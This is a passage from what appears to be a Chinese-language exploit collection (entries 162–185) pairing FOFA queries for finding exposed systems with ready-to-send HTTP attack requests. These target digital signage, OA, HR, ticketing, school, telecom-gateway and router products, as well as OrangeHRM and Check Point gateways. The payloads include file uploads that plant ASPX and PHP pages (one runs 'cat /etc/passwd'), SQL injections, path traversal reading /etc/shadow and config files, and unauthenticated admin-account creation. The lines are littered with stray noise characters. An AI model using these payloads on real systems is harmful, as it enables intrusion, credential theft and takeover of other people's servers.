7 M% n2 K# X B6 n<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
6 m" n- m# J7 u/ l, j" I<tag>3</tag>
. M9 @8 w' H# N! s3 M* ^8 W$ ]; x5 U</UploadResume>
* ~: h* ~# }2 Z0 L2 E8 V% Z9 m; R</soap:Body>
2 h1 D! m9 ?( z5 e</soap:Envelope>) Z7 |& s( w% d2 B+ P8 r; v
6 G* N. ^: R! K' W* W4 @5 B
0 f" C+ e I9 s+ ]http://x.x.x.x/dizxdell.aspx5 v- z5 ]7 }/ G5 R+ m- w
" \0 h! L1 y2 {. i6 Y0 X5 p
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传: M3 t7 C4 J: V# c; N! \& W2 a
FOFA: app="和丰山海-数字标牌"
, _) H. ?% |4 c+ h. ?POST /QH.aspx HTTP/1.1
, g) p* T% l/ RHost: x.x.x.x9 ?% m( h8 e) ]- |2 M: M) j: G# d
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
0 {1 @ x: {, N0 ]Connection: close
) F, y5 s. x1 Z) B6 @; J2 l4 JContent-Length: 583( Z- l7 E+ V. _) Y. L V, [; {/ C
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
1 l- W$ Q) D, jAccept-Encoding: gzip
/ d* e3 R. F' H# X0 J9 l6 v) z* A, L% r
------WebKitFormBoundaryeegvclmyurlotuey. S3 {, n, X+ `% ?9 s
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
9 w7 d2 l4 Q! C/ V* i0 G; c& ^6 bContent-Type: application/octet-stream
9 ^4 i' }: t, b
0 L" U" J+ c$ f3 Q+ j<% response.write("ujidwqfuuqjalgkvrpqy") %>
" g3 f l R) @- m" S1 C------WebKitFormBoundaryeegvclmyurlotuey
6 j4 s# X/ R' i* L' l, EContent-Disposition: form-data; name="action"2 w1 K7 h9 v* |7 z6 B
* H8 d( d6 [* H. Yupload
2 u+ q' z7 N; _$ T: e& ]/ I4 z------WebKitFormBoundaryeegvclmyurlotuey" ~) K7 d0 K, v- `
Content-Disposition: form-data; name="responderId"
9 U9 W# q! v1 V9 N) @: @
0 f, ^9 m |9 u0 EResourceNewResponder k& u. [- Q" u7 S1 ]' p/ } ?! P! t
------WebKitFormBoundaryeegvclmyurlotuey
( c! |/ a* x0 M( gContent-Disposition: form-data; name="remotePath"
# n6 z8 F6 G8 h6 Y9 E. \9 L1 J: Y( T. N, V) C. A
/opt/resources: W+ t1 o* A- p) i9 n: v1 U( R
------WebKitFormBoundaryeegvclmyurlotuey--
& C) F7 z! A4 C/ v
$ V* v6 [' n: d) X! J% _
) {6 l# Y8 ]1 D/ q" @http://x.x.x.x/opt/resources/kjuhitjgk.aspx
; A' D& q: }9 n
3 |2 ]" g0 \5 ]& j# O5 u4 O" m163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
4 L$ z9 F4 D, R3 b2 oFOFA: icon_hash="-795291075"+ K0 Z: a1 X* j. {" S
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1& `* V: Y( r4 w7 X
Host: x.x.x.x$ j8 K$ B; S+ J6 B3 i* I n6 u
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
; i( F! Y# s5 q7 E! RConnection: close+ z& _* b# W4 G k: Z
Content-Length: 293% d. y0 A% @! F, m" W$ S; T+ _
Accept: */*: W& a+ `8 S' q( B
Accept-Encoding: gzip, deflate; F, w2 I% }* ]+ F# q# P5 t
Accept-Language: zh-CN,zh;q=0.9
6 l6 e; Z( G( j) qContent-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
, v3 O9 q) x% @: \. X! |9 N8 O1 ^8 S' J
------iiqvnofupvhdyrcoqyuujyetjvqgocod( F m9 P. p3 P6 ^$ H" ?
Content-Disposition: form-data; name="name"
6 }2 i% r/ q0 P* a$ \, L
" C+ z- |2 V" E1.php! T6 c4 M; g4 f
------iiqvnofupvhdyrcoqyuujyetjvqgocod6 b5 A+ N! M2 j8 v$ C2 t- ~
Content-Disposition: form-data; name="upfile"; filename="1.php"" o% ]( V+ K, }/ ]
Content-Type: image/jpeg
& C( _0 r7 N6 i7 P6 X# C% w' |9 K2 i* i
rvjhvbhwwuooyiioxega9 ]) _+ S3 X7 V' h1 ?
------iiqvnofupvhdyrcoqyuujyetjvqgocod--9 r! c' c0 L7 y4 i9 C* B) y" j
) i; u7 _3 k' S( y4 c7 j+ D' }+ V! G/ ]0 \" ^7 z
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传/ w B/ C( {7 l
FOFA: title="智慧综合管理平台登入"
$ u/ s X: I6 x7 K: U, f2 FPOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
5 f- G: P$ [9 ~5 o t+ W$ kHost: x.x.x.x
' i$ z6 u! R9 ]9 h# ]& X8 kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
0 {3 g$ l" N5 ]! Z! |: [: h0 JContent-Length: 288
# |7 N o0 M8 {" ^' jAccept: application/json, text/javascript, */*; q=0.01$ P) C2 n R- k( M
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,6 H" I# C' p6 _2 ?7 l2 y6 e7 H% C% D* f$ a
Connection: close
4 D) h3 c. n" e1 V* sContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
8 T- ?8 P+ w$ z; U, {! ^X-Requested-With: XMLHttpRequest! A4 f" q/ D/ Z& s, X- @' a
Accept-Encoding: gzip! i3 d5 ~; d) ]! O3 \" p
2 a: o1 @' |" r$ D
------dqdaieopnozbkapjacdbdthlvtlyl* H. t G8 x ?8 A5 \. l; W
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx") h5 \5 j4 j& j" ?
Content-Type: image/jpeg# B: }& M; j3 R# ]8 X6 @! h' S
/ S# ^5 i, p+ T( G/ ~ A+ M<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
" T/ X' z( D* Q$ ~" M; B------dqdaieopnozbkapjacdbdthlvtlyl--
; n3 I7 ^ C: P4 I! W8 _
; g" b5 ?; N+ L9 S7 ]. Z! t3 ~7 l* J- J* g! d
http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
: g8 v0 ]9 x% e2 a$ C( R
8 _ V' n& {7 b2 U+ g165. OrangeHRM 3.3.3 SQL 注入3 u9 S9 \9 h1 W/ K3 v
CVE-2024-36428( \( q+ s) B2 z7 h1 `4 x% L) Q
FOFA: app="OrangeHRM-产品"
[5 j/ y( [6 Z R$ D$ B, dURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
2 e v: e+ t ], h5 x' o, J" H3 S4 V; N8 F( Q0 |
: q2 | I5 O- Q) s/ m- [166. 中成科信票务管理平台SeatMapHandler SQL注入3 a! P) k) t7 D5 O* t7 f! m
FOFA:body="技术支持:北京中成科信科技发展有限公司"8 U7 O1 R. T# d |/ @# F
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
`# r* X8 ~% V; kHost:
4 ~8 S* L# `9 U! U6 F( o9 CPragma: no-cache
5 c0 i5 ]5 ^* O7 E& k8 QCache-Control: no-cache
0 J( F9 t- `1 oUpgrade-Insecure-Requests: 1
- [+ q! p8 x+ [- Z+ GUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
' C6 z1 s: b. J6 Z) G( ?- ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* r$ ]- y% F9 @" x1 _7 n" R) RAccept-Encoding: gzip, deflate
7 Q) v. o, Y& q3 S+ |; k& EAccept-Language: zh-CN,zh;q=0.9,en;q=0.80 ^( V" d5 ~# F7 @. w
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
0 u6 Z, \9 c" w0 QConnection: close7 M3 L' Q2 K1 {. Y2 Q
Content-Type: application/x-www-form-urlencoded
' k5 g% r/ y* J" UContent-Length: 890 Y! m5 Y9 F2 P% T e3 I a0 @
& C4 q/ g# ?+ R# bMethod=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
& {/ i+ W, Y8 z8 B9 W: Z5 `" u7 P8 }7 ?# E2 i3 S: F+ ~+ F' a
" x8 [' ~, l p( d
167. 精益价值管理系统 DownLoad.aspx任意文件读取' W! o, u) o% [2 D* \* ^% Q$ l5 i
FOFA:body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"" l4 s- a" L3 H; s
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.12 B1 g: K0 Q2 y0 b/ }8 d
Host:
* U' l1 a; U5 O# _8 u; T) PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
0 e4 ~3 s# O& y$ {8 gContent-Type: application/x-www-form-urlencoded; o, v0 _) q; F1 l- D! S7 y$ ?
Accept-Encoding: gzip, deflate+ ]* ?/ X4 h+ W2 L6 q# {
Accept: */*& ^% g7 E, b" ]) ^) t
Connection: keep-alive! W: t! d6 w* y# H! \) P% ?- C
. r1 A( S& P3 Y) S
1 [8 I* }- ~6 M' S- H6 ?. s2 Z168. 宏景EHR OutputCode 任意文件读取3 b" K# h. F/ h6 Y% r1 v
FOFA:app="HJSOFT-HCM"
' T; u' _* v# b8 Q9 c' f6 @4 q' BGET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
" D, L% b, g! }9 \Host: your-ip
: n5 U2 r5 |9 X* ]0 [; v# ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.364 t# \% I" a8 P X" m
Content-Type: application/x-www-form-urlencoded3 r5 n8 Q3 L5 Y" P9 l- M! Y. s! r1 M, Y
Connection: close
1 V6 j# n& Y+ Y7 g6 F! J1 C$ O" z' F H; {8 z4 v; M
P3 [0 a$ U, N7 |6 N
0 D7 e" [( Q* d169. 宏景EHR downlawbase SQL注入
1 `8 w s0 V* d2 q, @FOFA:app="HJSOFT-HCM", m1 ^7 f7 H1 H. D( D9 h4 G
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1+ B+ N+ \/ P% I2 u" w
Host: your-ip
/ a1 U) V0 {* D( I" |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36: F' u* f# d- k+ k
Accept: */*, E! F* ? N% c1 w4 X5 E
Accept-Encoding: gzip, deflate
0 \! m/ @4 w: x$ |; ]! r/ Z1 V2 n1 y, wConnection: close
0 ?$ p+ |" x) [' |! V9 p5 C
9 q6 C2 p$ [5 s% l! q- q
6 o( k. t- v/ s( M
- W1 Y6 _6 I, ^* H5 O+ U3 `170. 宏景EHR DisplayExcelCustomReport 任意文件读取
7 r8 }% s/ r; n$ Y* |: M8 F. NFOFA:body="/general/sys/hjaxmanage.js"
/ \8 J* p7 V7 h$ N' t8 t. ?% WPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1. ~, ^1 M. W4 b) z% }" P6 `
Host: balalanengliang* e( J% ?7 j! N7 \
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.365 G" ~' b2 Q2 _9 P$ s+ _( H
Content-Type: application/x-www-form-urlencoded
) x9 h! x, z) c: t, l+ t/ P; B- D& K2 b0 S/ T% ?
filename=../webapps/ROOT/WEB-INF/web.xml5 A! q) Y* N4 s/ i$ F
, g# f$ W# s4 v# o# N) n! i6 h% j" f. |1 d
171. 通天星CMSV6车载定位监控平台 SQL注入! W. `# l+ h; }8 t
FOFA:body="/808gps/"8 G3 \, ^0 P! G3 T" j, k
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
; h9 o9 y% C) a! @2 R5 y+ a7 EHost: your-ip
, Y0 _4 b7 Y( v3 B3 E) a6 @User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0& b) C- r6 `5 ]
Accept: */*
3 }8 ? q$ e) zAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 d& E5 Y& F0 H2 CAccept-Encoding: gzip, deflate
+ ~4 ] y+ A. d: h l. L& L0 wConnection: close
% _2 I" `* i `6 Z( f3 |/ l, P, t7 O! E6 Q# S1 b4 A; H) P E
& Q, b: o: E' m `( p6 _
, n2 `! b5 A5 _8 U7 P172. DT-高清车牌识别摄像机任意文件读取
% f; i# G' q9 ^6 Z9 B* J# _) n5 wFOFA:app="DT-高清车牌识别摄像机"& V; v4 u; C# T" x" z0 h, I ~( _
GET /../../../../etc/passwd HTTP/1.1" n6 O. { ^; n1 Y4 V
Host: your-ip
9 q- a8 ~, s$ I1 e/ a8 `) R, x" j) a0 TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36' f! O& P5 f2 f7 r1 f5 c
Accept-Encoding: gzip, deflate" H. O" c0 K' E4 y0 J
Accept: */*
% V" t3 r. \; d+ B x, D7 \Connection: keep-alive
( Q3 K$ [6 N" M+ V3 K0 F
: e2 P+ N) j; t \# S6 r# n
- a, |, Q+ a2 s5 w$ ~" v4 N" l1 Y+ x; W+ @0 e' v9 P" K. |
173. Check Point 安全网关任意文件读取7 d# `$ ^$ @8 m) K/ W
CVE-2024-249198 \$ u- N: ~1 Z2 E
FOFA:app="Check_Point-SSL-Network-Extender"
' G7 q6 W# Q/ ^- ^POST /clients/MyCRL HTTP/1.1
0 @3 [+ g3 x* s0 W) OHost: your-ip% { g; @3 _7 O- q5 Q7 x+ X/ F
Content-Type: application/x-www-form-urlencoded
3 h; w3 W2 m; ^) n4 n0 J
/ o2 T4 v* O' v* E4 }# gaCSHELL/../../../../../../../etc/shadow' o2 b* ?7 k% P% W( d9 {& }# l" h
! Q8 t2 b& E$ q
) n1 ]" N, m) f/ H! B2 _" l5 V- V: u% M3 j( j
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
9 w% _; z/ P, ^+ mFOFA:app="金和网络-金和OA"/ t# o9 ]* t/ T. r: [5 G( W
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.10 e- g% g3 U% U, w
Host: your-ip
, C1 S1 d$ S' T1 W% n X8 }5 \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
1 l$ E4 [; z, @1 B! F. pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
. t# t- v6 ^, r! H: kAccept-Encoding: gzip, deflate, br
2 [! f$ y/ ]( z9 X) rAccept-Language: zh-CN,zh;q=0.99 p- W3 s4 A4 N5 M
Connection: close; g Y' I- {" ]/ U( e
* j. f2 T' c6 X0 s$ H
9 V3 R( a. J( n( x n t: @) d2 @1 X: H" B
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
. U7 |! j0 e1 |& u4 {FOFA:app="金和网络-金和OA"& v" Q, a8 x; H5 b1 N
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
" G- b' _6 `8 U3 DHost:' F9 ~4 ~0 k9 h* v( x) F q" }
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
& g3 I& c7 k9 p" j8 X- p8 i9 I" WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" }( s% N: }7 ^7 vAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 n' o: w" e( X( M% X! M) TAccept-Encoding: gzip, deflate
4 M, E. E* g& D; C8 AConnection: close
% f: Z3 ^- m" P7 ~' W0 |Upgrade-Insecure-Requests: 1
( z4 j( l& S2 d9 o, u9 ]& c* }
$ C' c: X6 Z$ z
- Q- P7 u8 W4 _5 h' |4 ]% F8 x176. 电信网关配置管理系统 rewrite.php 文件上传
0 o8 W) b: i0 i$ E" nFOFA:body="img/login_bg3.png" && body="系统登录"
$ Y3 J$ J' r6 C+ z6 |/ N7 YPOST /manager/teletext/material/rewrite.php HTTP/1.1! b( A/ r Z# x
Host: your-ip
, a0 i, k' z/ k- w6 |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.09 c5 B1 y( v I6 B
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
+ P, s# W& _ F' X$ f6 tConnection: close! v' E$ B2 P& R2 C! e) Z7 P
+ e2 l# m7 v! Y
------WebKitFormBoundaryOKldnDPT4 W. m6 ^9 j9 `8 s$ Q& T0 ]
Content-Disposition: form-data; name="tmp_name"; filename="test.php"/ I4 W5 o' b( ]# n' f) f" f
Content-Type: image/png9 w/ b5 {" a9 e
/ ^$ O; Z; {: ~& p! V* d: T3 c" F
<?php system("cat /etc/passwd");unlink(__FILE__);?>% u0 r* N1 g5 [+ M* F
------WebKitFormBoundaryOKldnDPT+ \% t/ x& i+ S
Content-Disposition: form-data; name="uploadtime"
. h* b1 g( _) x2 Z
/ l0 R% a3 \( P' Z8 F9 q
/ E6 Q' y! u4 g, {0 m/ p" T; E" D------WebKitFormBoundaryOKldnDPT--
9 u) a |# U& L$ f5 Y8 [. I
+ Q1 Q9 {! p4 A% D& W# z
" ]) P8 Q7 t7 J9 i. Q9 N5 S" C4 Q" `$ t6 C7 h" N
177. H3C路由器敏感信息泄露1 e& O# P( X$ B, {& u
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg4 R& ^4 f3 ?# ^2 L5 W" N
/userLogin.asp/../actionpolicy_status/../M60.cfg
; Y) B; D C$ S8 ~1 y4 [3 \/userLogin.asp/../actionpolicy_status/../GR8300.cfg- T% A+ H1 r4 i, `! R5 \% ?
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
+ u/ C' [6 W/ w/ z6 Z0 |, v8 b$ b/userLogin.asp/../actionpolicy_status/../GR3200.cfg# ~. T7 j Z7 P0 w5 H+ H2 D( ~3 c
/userLogin.asp/../actionpolicy_status/../GR2200.cfg E( F/ B) B& d* @* j
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
3 P2 u6 s, K$ l/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg/ b [2 m* I7 s# a
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
* \) T1 x) a4 b( K% s" I) }% M/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg5 G. j8 |$ ~0 H B" I
/userLogin.asp/../actionpolicy_status/../ER5200.cfg2 W) L- h+ V, v9 @1 d
/userLogin.asp/../actionpolicy_status/../ER5100.cfg0 g) M7 C) T. W4 V
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg1 x: A: z- w% c; u3 Z" o
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
( ~% B- G" ~$ A/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
~3 u7 I9 W8 j8 L* g1 S; k/userLogin.asp/../actionpolicy_status/../ER3200.cfg
4 X# b% d1 b, k% i# C! K/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg- }% Z! k; b! z2 C
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg. M' u0 C& A9 a4 }% ^
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
, {6 \( e( E; G: B/ Y/userLogin.asp/../actionpolicy_status/../ER3100.cfg& F n9 ?1 `$ i$ }1 e9 \
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
7 e/ r& p, Y. R: [
0 u. T6 j4 M8 p% d- }$ ]3 X N3 X/ U, t7 [ x
178. H3C校园网自助服务系统-flexfileupload-任意文件上传) M6 X) Y* M+ E7 {
FOFA:header="/selfservice"
- i+ c/ ?( ?1 ~) M) ^3 ~- ?4 ^POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
; {1 k( m) D+ Z! X8 CHost:
$ F/ m1 t* J1 R( b$ S, vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
( i4 W$ O/ w4 I% ]0 uContent-Length: 252
7 g# P1 L$ _1 E. {+ q- v% TAccept-Encoding: gzip, deflate
/ C m' j: g9 D4 N5 r1 ~Connection: close
! N& E! E7 F; K( z4 s) qContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l. v" K9 p. b- I& O+ ^( T. ?
-----------------aqutkea7vvanpqy3rh2l
' k3 b3 i) D% E: e( ~6 h" a3 w7 R3 RContent-Disposition: form-data; name="12234.txt"; filename="12234"' H8 k; ~" T' ?6 e) g1 S
Content-Type: application/octet-stream+ P; D: z/ k" C, y) O9 S
Content-Length: 2557 M5 S* [* Q$ x* y% K
8 `0 {1 K/ s1 o) L12234
+ C1 n) u9 B0 \4 ^' ?0 W-----------------aqutkea7vvanpqy3rh2l--
3 v# j$ [+ S$ @3 k9 @4 Z! k/ I! q8 ^) T5 C0 M* m0 r& r
! d+ N5 c* v5 G6 A& n# E" rGET /imc/primepush/%2e%2e/flex/12234.txt d& i0 a2 M3 r6 a* V F1 K9 z
- M p! k( \! d; k+ o) L, u' h8 O3 ~
0 S" x& `8 ~" i# i
179. 建文工程管理系统存在任意文件读取
: @8 j$ \" y/ ^# I8 c ePOST /Common/DownLoad2.aspx HTTP/1.1
( | T6 T# y$ i2 x* J/ ~Host: {{Hostname}}
! h+ q. J* u! Z1 ?2 yContent-Type: application/x-www-form-urlencoded: Q. M' J6 `" \: s2 ^1 e0 Q4 d
User-Agent: Mozilla/5.0" V# p2 A( j6 z2 a, K& ~" Q
* y+ z0 M# h' k5 i2 J6 H
path=../log4net.config&Name=1 f7 W3 `* {* K3 w4 ?* m
. T* I0 w! |5 L% D N0 B3 W9 e% M* u
180. 帮管客 CRM jiliyu SQL注入7 _) J& M* o: n% ?3 C1 j
FOFA:app="帮管客-CRM"; `1 B; `" z, F& P
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.16 m6 B4 i/ z# s& x* t$ J
Host: your-ip1 t, S: ^' `5 F& x, ^' H
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36' {, _& ?( F. N' p U+ v/ X& k0 v1 |& e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7+ g9 m8 i- e4 K4 t5 U/ O
Accept-Encoding: gzip, deflate8 F) |' c) Q% n: G7 C/ o
Accept-Language: zh-CN,zh;q=0.9 J* Q; ^: k0 d9 x( d/ d
Connection: close# ^2 B0 H1 V; z6 W# M; X7 w8 _
/ e1 V& [/ |2 a8 L
' X! C+ H: a6 {0 F) a
181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入+ F5 Y7 u$ F2 L. b1 t' H" {
FOFA:"PDCA/js/_publicCom.js"
, q- ? a5 w1 g6 ~POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1" C! C* t/ p/ K6 A" D4 }. K! V
Host: your-ip7 @. V- _ n% \% }
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36; a0 ]. z7 w3 o
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 H0 ?/ D( H* c! }0 A9 B4 G OAccept-Encoding: gzip, deflate, br
M- }" c( k9 y$ N, I8 B+ z0 t) RAccept-Language: zh-CN,zh;q=0.9
; T1 W, [" D2 }! J/ iConnection: close
+ `! m5 F- e5 C- H2 p( n' yContent-Type: application/x-www-form-urlencoded
1 `/ `% o8 t$ _: _ k$ t( k0 F- W; Y( U3 `8 `# C
" a/ y! f0 ^# Y" m
action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=203 Q5 J# H+ I( B: s P6 H1 N$ W6 H
! ^0 n; }" Q* ~; L2 {
# E- S" e8 e( Z9 f& i9 e
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
; }5 P& I) p) Q% P# p( _1 RFOFA:"PDCA/js/_publicCom.js"# t3 q5 M+ Y6 Y( J% }
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.17 ?0 s' b2 R! {
Host: your-ip
" d0 W, k4 \! `5 jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
! @, I: A2 W3 l0 j0 |4 xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7! S8 ]7 X& Q' g. H
Accept-Encoding: gzip, deflate, br. `$ t V4 \; y1 j! b! `8 r+ z
Accept-Language: zh-CN,zh;q=0.94 P( W" E, v1 M
Connection: close
% H' c4 _5 f: v O" VContent-Type: application/x-www-form-urlencoded
N% Z6 X' }& C. Y9 e* G1 X1 S9 q u
% m8 u) L9 h5 e9 }3 busername=test1234&pwd=test1234&savedays=1
# f& f- `4 I( K; F) W3 c# |
' E) J- a5 v3 b8 _% y
! G/ j3 t7 w, l Y0 ^& t183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入4 \" d ?+ e2 ]* {$ v1 @
FOFA:body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"8 S( |3 G/ U! u. I S) e4 h. X7 {
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.14 {, W! Y+ D5 u
Host: your-ip
4 H. p: y3 D) z" K; T1 ~User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36! g9 \1 l3 b0 M
Accept-Charset: utf-81 O* J* ?1 J8 n4 X6 a8 \) k
Accept-Encoding: gzip, deflate. j1 f/ z4 f% Q+ b! s9 z. K
Connection: close! k! ~+ Y" g- t3 ?( _% K( O2 w8 ~
8 s9 u1 y( U; p# o
5 x; U" X- t- m184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
0 }- o+ Y1 U: V* D. g! |- |. nFOFA:server="SunFull-Webs"# Y3 G4 B0 _+ I& V/ U
POST /soap/AddUser HTTP/1.19 L& e4 a5 L8 \: g1 Q1 b" W
Host: your-ip p7 C6 I- Z. T8 v( l: k
Accept-Encoding: gzip, deflate4 k7 Y0 B4 h6 J K, p
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
% T, N7 U; O4 t3 ^7 @Accept: application/xml, text/xml, */*; q=0.014 A& z; \1 s% D- m3 n8 V" s3 k
Content-Type: text/xml; charset=utf-82 I8 h" D) d3 a7 t* X: m
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2: U# s% H- E' t$ e
X-Requested-With: XMLHttpRequest/ W9 |: I I; l; e3 z' Y* z2 E) w* t
' i# B n% m! I: `
- I3 j8 j! Y0 O$ P" _ Kinsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
: {- s, N; J5 T3 C
8 l6 O* c' O2 I, C7 m/ g# b3 W% Y. u
185. 瑞友天翼应用虚拟化系统SQL注入
# s" s! _. E+ ~/ E4 lversion < 7.0.5.1
